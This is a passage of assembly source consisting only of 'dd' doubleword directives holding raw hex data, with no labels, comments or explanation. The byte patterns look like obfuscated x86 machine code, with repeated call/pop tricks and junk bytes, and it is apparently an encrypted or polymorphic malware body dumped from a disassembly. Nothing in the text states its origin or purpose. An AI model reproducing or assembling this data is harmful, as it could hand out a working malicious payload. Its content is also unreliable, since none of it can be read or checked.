		dd 22660603h, 7C312247h, 0E62FE112h, 0D6FAB70Ah, 0BCABCDDBh
		dd 3F5455E8h, 0D1DE222Dh, 39C42244h, 66A17D67h,	3D155ECEh
		dd 3DBC66C6h, 394C225Fh, 0C8E57500h, 3626E9B8h,	8A4976Ch
		dd 0E93B2403h, 100FA7CEh, 0B8572403h, 0FFB2FB9Eh, 7D4ECBC2h
		dd 0B6296541h, 39132255h, 39892FAEh, 0CE227C47h, 57EED41Ch
		dd 0D7F7DA13h, 3D70AF5Bh, 0A94C2247h, 59875052h, 8B5432F9h
		dd 0EE374457h, 699443EFh, 1D26A91Eh, 5931A943h,	72BF98FFh
		dd 361E7221h, 392ECB76h, 0E46B2247h, 16E35438h,	619E3DFDh
		dd 1D26AB26h, 61C9A943h, 0D1CE222Dh, 394C2244h,	67E57C67h
		dd 3D3756CEh, 3DAD66C6h, 39C42251h, 0F8A17401h,	0C6C919E7h
		dd 7D8FCBF2h, 3DC82D41h, 5F262247h, 0B4845FF8h,	7EFE8DC2h
		dd 0C51A941h, 0C6646659h, 0ECE0A397h, 0B089FDBBh, 7D5223C2h
		dd 0BCE0D741h, 3F5720AEh, 0B01C2914h, 0D1C26659h, 39622243h
		dd 0A0087DD7h, 36C8F5CCh, 394C21CBh, 0F3AD4447h, 3D3766CCh
		dd 2B6022CCh, 0D0C42247h, 0EF1D5F20h, 6817758Ah, 7180B720h
		dd 85EF2BA1h, 1D62AB50h, 3902CB43h, 22F92247h, 136C9D07h
		dd 0CA1DA24Dh, 4D373612h, 61EC2F00h, 394AA548h,	0BCAF2247h
		dd 3F573EBAh, 2E6097B8h, 0B2A22403h, 96E7AFB0h,	5F376530h
		dd 0C62783FDh, 0C0C9AB97h, 8C20664Ch, 0C5AD4424h, 0D00CE4E6h
		dd 6EC26645h, 51909D48h, 0B162478Bh, 0B57D9B21h, 0F36816C6h
		dd 0A3E7570h, 7D06A7CAh, 0D03CDD41h, 53C26650h,	3A8A7147h
		dd 19312247h, 0B0C3E11Ch, 0B848061Bh, 21220603h, 7A132247h
		dd 0F977E114h, 3A3D640Dh, 7D76D7D2h, 96B4AF41h,	599E6530h
		dd 394C2DAEh, 0EC79CF47h, 7F867F2Eh, 0FE5339B5h, 85E176B6h
		dd 0C603D3CDh, 0B8B4AB97h, 539E6665h, 3AA47047h, 19262247h
		dd 0B049E11Dh, 0B88D0613h, 22C00603h, 7B622247h, 4EBDE115h
		dd 0D3815BA7h, 0B22A0DB0h, 3923CABCh, 4B052247h, 600722DBh
		dd 3B2DA781h, 0B2212403h, 0C6624AB6h, 0C912909Eh, 426816C6h
		dd 53286BC8h, 3AFB7547h, 19892247h, 0B09BE118h,	0B866063Bh
		dd 2C350603h, 7E982247h, 0F155E110h, 31579FCCh,	8CEC2403h
		dd 3FCD35AEh, 39C2AD48h, 0A4EB2247h, 3F751012h,	4E37A7CAh
		dd 39262400h, 3925CA11h, 67332247h, 4D007C84h, 7D452663h
		dd 397E2663h, 6F772247h, 0FD1E3484h, 0F9288203h, 3A71F677h
		dd 7D0903D2h, 8E867C41h, 5314DD8Eh, 3A8A7147h, 19312247h
		dd 0B0C3E11Ch, 0B848061Bh, 2F220603h, 7A132247h, 6B15E114h
		dd 0B441AB20h, 53646658h, 3AD97147h, 19982247h,	0B017E11Ch
		dd 0B822061Bh, 2D170603h, 7A892247h, 0B22FE114h, 7D7757CAh
		dd 49B4AF41h, 599E65F0h, 1939A7CCh, 84272403h, 3F5731EAh
		dd 6EE97226h, 0D19AB7F0h, 3962224Ah, 0E4B0295Eh, 0C17D3C89h
		dd 0EBF3C8D6h, 0B0477861h, 39790643h, 398ACA10h, 66E42247h
		dd 45EB7D84h, 7DB02663h, 398E2663h, 6E0B2247h, 838BBD84h
		dd 9886DDBEh, 0B28F6645h, 7DECD3CAh, 0E0F71341h, 0B237666Ah
		dd 0AE41A29Fh, 394C33AEh, 7C0E8047h, 1F9C2103h,	9B63C01Eh
		dd 0FF0CED71h, 0BCEF0DF9h, 3F769523h, 0D1CB222Dh, 394C2244h
		dd 62E57967h, 3D377ECEh, 3DAD66C6h, 39C42250h, 22A17104h
		dd 0C0926C4Eh, 6ECA72D7h, 637D2D18h, 9498721Fh,	0A9336557h
		dd 0D1DF222Dh, 39C42244h, 67A17C67h, 3D1556CEh,	3DBC66C6h
		dd 394C2252h, 4CE57401h, 5ADDA353h, 86A1D3F9h, 435A23B6h
		dd 698CA8D4h, 53A2F2CDh, 3A707047h, 194C2247h, 0B07CE11Dh
		dd 0B8170613h, 2C8D0603h, 7BC42247h, 0B5AAE115h, 3A9CB74Eh
		dd 0B2FE2403h, 14D9DDBCh, 0C120665Bh, 2592A7CEh, 0BCA02403h
		dd 3F803CF2h, 2F1FA780h, 393E2403h, 0AC672247h,	3F083EC6h
		dd 0D173222Dh, 39132244h, 644A7F67h, 3DE04ECEh,	3D4666C6h
		dd 3931225Bh, 525B7702h, 9BA04702h, 0CD01EB9Fh,	32DD9548h
		dd 7DA5CBCAh, 0D441AB41h, 0B2646641h, 7D3CE3C2h, 0FE05AF41h
		dd 0B04A658Eh, 84AB2304h, 3F57114Eh, 0F02897CAh, 0A7D2400h
		dd 0CA622247h, 8102C9E3h, 39982247h, 3A38E24Ch,	0B2263A85h
		dd 6A1F0603h, 398922AFh, 0FA457947h, 39622250h,	29157ECEh
		dd 2DBC66CEh, 997B9A1Ch
		dd 0D9D922D8h, 3D3766CCh, 39E3C2B8h, 39C7CA14h,	62422247h
		dd 65B87984h, 7D192663h, 39512663h, 6A652247h, 650CA484h
		dd 0A8A0BBD3h, 0D1722F0Eh, 39622256h, 18B4C67Eh, 6AB562FEh
		dd 0C937DF86h, 5E262955h, 37972D5Dh, 0D1892247h, 39C4224Fh
		dd 15B69A64h, 0AB86242Eh, 53297B18h, 6E4C4826h,	392621AFh
		dd 0FA4C0247h, 1DF5AB18h, 1D80A343h, 39623843h,	0FA666547h
		dd 0B85F88F1h, 0B4167006h, 7E9146FAh, 5C9EAF41h, 818F658Dh
		dd 0A1E28972h, 350BA774h, 0F61A2403h, 2D59CB86h, 44D14322h
		dd 67398922h, 0CE61077Ah, 0C63D4666h, 5C3D1566h, 83399822h
		dd 0A4F305E9h, 8D8BD98Bh, 6440801h, 0E9F98B66h,	2Eh, 8800Fh
		dd 0F600000h, 81h, 60616100h, 0EBD08166h, 870F6163h, 1
		dd 8A0FC3F9h, 0Ah, 3EB86660h, 5EBF6687h, 0C08B6102h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 71C35646h, 820F2BFDh
		dd 1, 0CDBD83F8h, 64420h, 0BD830975h, 6440B25h,	50197400h
		dd 0B8C08B53h, 4B9h, 22298589h,	9D8D0644h, 646A8B6h, 585BD3FFh
		dd 0B25BD83h, 74000644h, 0B8535017h, 4B9h, 22298589h, 9D8D0644h
		dd 646A557h, 585BD3FFh,	10E9h, 548D6400h, 976ACE91h, 668D8ED2h
		dd 0AFD96B36h, 6AF960h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 427D70C3h, 0C08B0224h, 0C18B40F8h
		dd 2CDD8D89h, 0FA8B0644h, 4EBh,	67BE0000h, 8952ADD2h, 4410C5BDh
		dd 0E1858D06h, 906441Bh, 4417AD8Dh, 4895006h, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 87101576h, 8F0FFEh, 8B000000h, 4417B1BDh, 0E9006A06h
		dd 0Fh,	0A672B00Ch, 3EE6A774h, 0ED1C4E78h, 292B2F81h, 441BED85h
		dd 6A006A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0F9A9C351h, 0E9FDCF11h, 6E858D87h
		dd 6A0647CDh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0C0B5C351h, 149D269Bh,	85ABF8Eh
		dd 0C0834A7Dh, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 897EA1CEh, 4407A5B5h
		dd 66509006h, 90BBDABEh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 7DC35545h, 0AD733D6h,	8687BE66h, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 2529D5C3h, 8BAC9FFFh, 8BFB8BF1h, 441C25B5h, 0F006A06h
		dd 689h, 91B58B00h, 0FF06441Dh,	44182595h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 0FCBA9FDDh, 9A979D8Dh, 6A0647h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0A720DFC3h, 65871D82h
		dd 6AD3FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 950667C3h, 0FE951B1h, 18000000h, 97BC2317h
		dd 0B18B3204h, 76039DCFh, 85FF46D6h, 64408E9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0EC35646h, 0C576C0FAh
		dd 80629C74h, 0FE8B6667h, 787E9h, 0E800h, 815D0000h, 47CD78EDh
		dd 0BD81F806h, 644167Dh, 7D0h, 14E860Fh, 95010000h, 6442E6Dh
		dd 1FC59D8Bh, 6A0644h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 14F6F3C3h, 0C7CDC629h, 9E9h, 0A2BDE100h
		dd 0C453DABFh, 0E3815D33h, 100h, 1FC19531h, 0DB0B0644h
		dd 0DB850Fh, 0BD830000h, 647CB78h, 71840F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 74AAC355h, 21DFBB4Bh, 0E950FC13h,	13h, 0C2F4C5Eh
		dd 0A2864C07h, 0A3C9ECFAh, 0EDAE7EFCh, 5ED2D7ABh, 6830Fh
		dd 66500000h, 5E0085BEh, 90E9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0E781EB16h
		dd 16B4A199h, 0CB7885C7h, 10647h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 42D5BEC3h
		dd 2AC1BD8Bh, 89520644h, 441C9585h, 32E95E06h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 1D70C351h, 8A34743Dh, 7885C739h, 647CBh
		dd 8B000000h, 440E15B5h, 0C59D8D06h, 0F806441Fh, 0FEFF2381h
		dd 9501FFFFh, 64420C9h,	6ADB8C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 7C7EC353h
		dd 8BE62058h, 0DD8589F9h, 0F6064419h, 840F04C3h, 5Ch, 40D68166h
		dd 359D09DEh, 0FF064408h, 441C8195h, 48F0F06h, 66000000h
		dd 90FCF3BEh, 0DE9h, 73E53B00h,	33965505h, 930DD417h, 0E9501DDEh
		dd 0Ah,	53B9D2D8h, 5304E6ADh, 0F9074CEh, 1188h,	5E800h
		dd 0D9790000h, 2BFB583Dh, 440FE5BDh, 0BD8B5E06h, 6440291h
		dd 47EE9h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0DF157FD2h, 9BA7CFDBh, 8B00B0AFh
		dd 442289B5h, 12E906h, 39D90000h, 4869269Fh, 0BD657C81h
		dd 0BDA8689Eh, 96F7BB63h, 6A70E6h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0D39EB6C3h, 917F6E99h
		dd 71E4CEC7h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	0F0C35646h, 0D8B60F16h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0F2C35545h,	5F32F99h, 8B66A7D5h
		dd 6BAF7h, 0C38B0000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 28C35545h, 9FC8CE1Fh,	0F04E8C1h, 68Bh
		dd 89958900h, 6606442Ah, 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0A4918AC3h, 0B58B06BAh
		dd 64402D5h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0E82D3FC3h, 9F7580E0h, 0F636582h
		dd 684h, 99B58B00h, 50064423h, 1D6EBE66h, 6A241C89h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 6539C353h, 68E0Fh, 9D290000h, 6440999h, 13840Fh, 0EE90000h
		dd 94000000h, 0B4330D74h, 0E05BB98Ah, 0A69284FDh, 7DB5FF14h
		dd 6A064416h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 448FC352h, 99FCB48Dh, 95313A41h
		dd 6442EDDh, 13E9h, 32CB7600h, 920A198h, 461CB915h, 19AB1FEBh
		dd 0D16E5324h, 1C4D95FFh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0EEEFB8C3h, 0AE781EABh
		dd 0D68145C7h, 22B0EB2Eh, 816600B0h, 0E6C2E3D6h, 860F5270h
		dd 13h,	0EE9h, 8F1E9800h, 3E6A6F0Bh, 9E806394h,	5E509EF5h
		dd 0BE6671E4h, 613C1E1Dh, 249830Fh, 0BF0F0000h,	0D8B60FF8h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 87C35242h
		dd 9E9D674h, 0D0000000h, 23395576h, 40DD8B7Eh, 6BAh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0F6ADE321h, 0C38BDD1Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 5CC35545h, 0CF4B4863h, 87D89017h, 68D0Fh
		dd 0B58B0000h, 6440DF1h, 6A04E8C1h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 9CE7C355h
		dd 0B5333667h, 6441081h, 10E9h,	0E7575400h, 913EB178h
		dd 0EB942670h, 78D6925h, 0E2F766A7h, 6AD82Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0D3A9B8C3h
		dd 0B58B58F8h, 6440305h, 880FD82Bh, 14Fh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 2EC35646h, 0DE9h
		dd 6AAABB00h, 0D0361D6Bh, 70F61C8h, 7B99159h, 29000000h
		dd 441AADB5h, 0C18306h,	0F9BF0F51h, 3D85895Eh, 3B064400h
		dd 860FD9h, 0F000001h, 185h, 8C66F800h,	51006AD9h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 0E34E49E0h, 0DDCFF130h, 0C1F6217Ch, 9C840F04h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 5584C357h, 0B985897Fh, 0FF064425h, 441C8195h
		dd 0B58B5006h, 64433C5h, 0BD895B5Fh, 6441419h, 8D89C32Bh
		dd 6440DF1h, 8343Dh, 50860F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 6A33C356h
		dd 0FC3BE15Ah, 13D8BCD6h, 83DB58Bh, 4CE90644h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 8536C350h, 8BFBEFABh, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 39E9B783h
		dd 362AFC8Fh, 6DBE1DC7h, 8B0C4024h, 6AD88BC3h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0F0AEC353h, 4897202Fh, 55C73EEFh, 25AD8D29h,	85C70644h
		dd 6442C99h, 323803BDh,	68D0Fh,	0B5090000h, 6441A55h, 6AC08Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 2DA003C3h, 0BE632AB3h, 0CE816622h, 0BD81A329h, 644167Dh
		dd 7D0h, 23850Fh, 0B58B0000h, 6441559h,	0EE8h, 0B6660D00h
		dd 5D36C0BAh, 7B539F8Ch, 6641937Eh, 0FF5FF08Bh,	44167D85h
		dd 7DB5FF06h, 0F064416h, 689h, 0B9852900h, 0FF06442Eh
		dd 441C4D95h, 0F38B6606h, 5678B890h, 0BF0F1234h, 0AF9D8DF9h
		dd 0E90647D4h, 0FFFFF8B1h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 4C35242h, 0E978B73Ch,	14h, 35496959h
		dd 26C94935h, 0A01AC8E3h, 231C79Ah, 934B8C69h, 6AC18Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0A72742C3h, 387302A3h, 6850Fh, 9D090000h, 6440D45h
		dd 4EB5E53h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 15C35646h
		dd 6A7EA4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 3E3B3BC3h, 1BE1858Dh, 6A0644h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 8289D5C3h
		dd 59EBF81Fh, 0BDB58BFDh, 50064410h, 5B526050h,	4895E61h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 74CB6082h, 6ABB424Ah, 6A006A00h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 711C355h, 0BAEAAA3Bh, 0D7A2858Dh, 6A0647h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 972DBCC3h
		dd 0DB24612Fh, 1305BF92h, 0C083760Bh, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 89FD2F43h, 7E7EBF66h, 32B5B529h, 66900644h, 50A178BEh
		dd 0FE8h, 0C0D1C700h, 0D4F8E2A7h, 8D8323ECh, 9BC86A89h
		dd 310F5250h, 9E9h, 0BB31C00h, 0D3149023h, 585AFAAFh, 6A905Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0F6BD0C3h, 1E84h, 0CE800h, 0F7D0000h, 0C23C4143h, 0F0BEF7Bh
		dd 6E8AF01h, 0E6000000h, 518D3B80h, 6A5F5F9Ch, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0F6E1AF40h, 0CAA718FAh, 0FF006AF5h, 44182595h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 60A1E04Fh, 31B58D89h, 0C6800644h, 0BF666124h, 9D8DB0EEh
		dd 6479A97h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	24C35141h, 3BF74600h, 816613BAh, 0E94879DFh, 5
		dd 167EB477h, 6AD3FFC0h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0B0DBC352h,	11E8ABh
		dd 5B460000h, 0C19EB457h, 0C8F1B362h, 8AD53648h, 8BFF8BF0h
		dd 442E05BDh, 0DE95E06h, 1A000000h, 31C79AA0h, 4B8C6902h
		dd 26539C93h, 8E985FFh,	5E570644h, 0E42E9h, 0E800h, 815D0000h
		dd 47D7ACEDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 9654CCCBh, 81A1049Ch, 44167DBDh
		dd 7D006h, 0D6860F00h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 408FC352h
		dd 3E03A5A3h, 9C58D29h,	9D8B0644h, 6441F25h, 0E381F08Bh
		dd 100h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 15h,	47C35646h, 18860F44h, 0E8000000h, 10h, 431F11Ah
		dd 2DC31C24h, 0C43629E4h, 453E7D74h, 605F6160h,	0FF5B589h
		dd 0B58B0644h, 644183Dh, 0FDB0B61h, 0D185h, 9E900h, 0D2DB0000h
		dd 0E4CBF04Ah, 0F11DE3Fh, 889h,	0B58B5600h, 64424E1h, 2EBD835Eh
		dd 647D5h, 57840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 170424h, 56460000h, 0E5D48FC3h, 21958976h
		dd 0E906440Dh, 0B9h, 0FE8h, 8ED40200h, 815C9ADFh, 69950E08h
		dd 8249BC1Dh, 10E9h, 0AEFE9E00h, 0E7ADFA6Dh, 0A099BD6Eh
		dd 7A4D62E3h, 0F5525EDEh, 2E85C75Eh, 10647D5h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 8E85C355h, 5EE9487Eh, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0C22DC353h, 16AD0342h, 85C7D575h, 647D52Eh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A4C35141h
		dd 0FBBA5370h, 0F78B6055h, 31759589h, 8B610644h, 442559B5h
		dd 259D8D06h, 6A06441Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 81A8C357h, 0FFFEFF23h
		dd 10E960FFh, 85000000h, 5E444AAEh, 0B42AEA3Ah,	4A26063h
		dd 6676F0DFh, 60C7E781h, 0DB8C6661h, 0C412ADBEh, 4C3F653h
		dd 96840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 6C929AC3h, 2DB54F57h, 0F38B66B6h
		dd 1C8195FFh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 9DB802C3h, 39EC4A46h, 1F89B523h
		dd 50900644h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 5E860C9h,	0D4000000h, 7D98DE54h
		dd 1D75B529h, 815A0644h, 902237D2h, 8B57617Bh, 0B5035FF8h
		dd 64429B9h, 3CCE9h, 6E96000h, 83000000h, 8AAA5B9Bh, 0D881665Fh
		dd 0E861F17Ch, 0Ah, 0F09A4BB5h,	1F72EBFBh, 11E98AA8h, 51000000h
		dd 9E16A4EDh, 37DEEDB3h, 4076958Dh, 0C2A1AA40h,	6A00B05Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0A558C350h, 5E098BEAh, 86C438E5h,	0BF6670E6h
		dd 0F561BF5h, 68Ch, 0C1BD8B00h,	5F064408h, 6A71E4h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0FAFAC8C3h, 0FEB70F14h, 0D8B60FF9h, 6BAh, 0AE800h, 0EE950000h
		dd 0C56554B1h, 0EF22E261h, 18E5B58Bh, 665F0644h, 8BC1FEBEh
		dd 9E781C3h, 0C15D368Fh, 8D8904E8h, 6441A95h, 81E2F766h
		dd 0D159F1EEh, 3CF68173h, 2B13BA91h, 55006AD8h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0E8B570D6h
		dd 608B3C58h, 28E0Fh, 61600000h, 0A45B589h, 50610644h
		dd 89241C89h, 4430499Dh, 7DB5FF06h, 0F064416h, 0DE8FEBFh
		dd 9D000000h, 9A7993D6h, 0CB3606B6h, 0B45C3F72h, 5EFFB70Fh
		dd 1C4D95FFh, 0B5230644h, 6440CE9h, 2BDB589h, 0B00644h
		dd 68E0Fh, 0F6810000h, 35AED4C5h, 6A70E6h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 685D3AC3h
		dd 0F08B6661h, 0DCD68166h, 6A71E4C8h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 939FC350h
		dd 0BAB06490h, 8BA58E3Ah, 0F613CF8h, 21C83h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0C6C210Eh, 52AA25D2h, 0D8B60F5Eh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0EEC35646h,	0F4216E0h, 850FA1DEh
		dd 6, 235BD8Bh,	85010644h, 6440695h, 6BAh, 1D958900h, 8B064426h
		dd 3CBF66C3h, 4E8C1FEh,	311D8D31h, 0F7660644h, 50006AE2h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 1BAD262Bh, 9E9EFh, 0A9270000h, 1F4585D0h, 23875905h
		dd 442CE9BDh, 6AD82B06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 11B1C352h, 6A5837B7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 46EBC353h, 6E100678h, 8B66A150h, 0FD82BFBh
		dd 12088h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1A04h, 0C3504000h, 4E8CD68Ch, 0B9DB5508h, 7,	16C99D89h
		dd 0C1830644h, 4BE68100h, 3B53F723h, 0E2860FD9h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 85CDC352h, 0F90D8A70h, 0D98C667Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2DC35646h, 0C1F61B11h
		dd 88840F04h, 60000000h, 60C7EF80h, 323DBD8Bh, 0BD890644h
		dd 6440069h, 95FF6161h,	6441C81h, 0BE8h, 22F37600h, 55D1E296h
		dd 213FEDBAh, 0B70F5B5Fh, 6AC32BFAh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0E3E0C352h
		dd 8343Dh, 30860F00h, 0F000000h, 68Ah, 0A1B58B00h, 0E906442Eh
		dd 2Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h
		dd 0AEC35747h, 8B88687Eh, 68E0FC0h, 89000000h, 44006DB5h
		dd 8BC38B06h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 93A978AFh, 1FC585C7h, 0D9150644h
		dd 6A766Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 2A6ECAC3h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 460F5C3h, 5EFFDEA5h
		dd 7830Fh, 830F0000h, 1, 0E59589F5h, 81064414h,	44167DBDh
		dd 7D006h, 4A850F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0DDA9C352h,	8D73EDA6h
		dd 0FE2CC79h, 85FFFABFh, 644167Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 5C35040h, 7DB5FFCDh, 0FF064416h
		dd 441C4D95h, 90F88B06h, 0E5B58940h, 83064423h,	442531BDh
		dd 840F0006h, 0BDh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 2C35242h, 0E9BD8393h,	6441Bh,	93840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 0C4614FC3h, 1FDF3999h, 41B58B7Fh,	0FF064429h
		dd 44253195h, 8D896006h, 6440261h, 4840Fh, 0B9660000h
		dd 0B616665h, 4A840FC0h, 8D000000h, 444E558Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0E5992836h, 5B8h, 0FFFA8B00h, 50006AE1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 61BD836Bh
		dd 6442Dh, 5BF840Fh, 0CE90000h,	62000000h, 0B60AB849h
		dd 200ACAB6h, 8324B7D8h, 441BE9BDh, 840F0006h, 5A1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 57C35343h, 8501E3B1h
		dd 6440D5Dh, 0CA18D8Dh,	6A0644h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 891D69C3h, 4425A585h
		dd 8401C706h, 0F44B27Ch, 68Eh, 319D8900h, 81064421h, 99CFCB01h
		dd 0FA8B6614h, 340441C7h, 81CE706Bh, 0D7100441h, 6A31D6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 94420DC3h, 0E9222757h, 6, 2E70A987h,	6AC5D8h, 0A1858DF5h
		dd 6A06440Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 8E46C356h, 509038F9h, 5E9h, 8CDE2000h
		dd 6A908CD6h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 89D0C350h, 4423A995h, 6195FF06h
		dd 6A06442Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
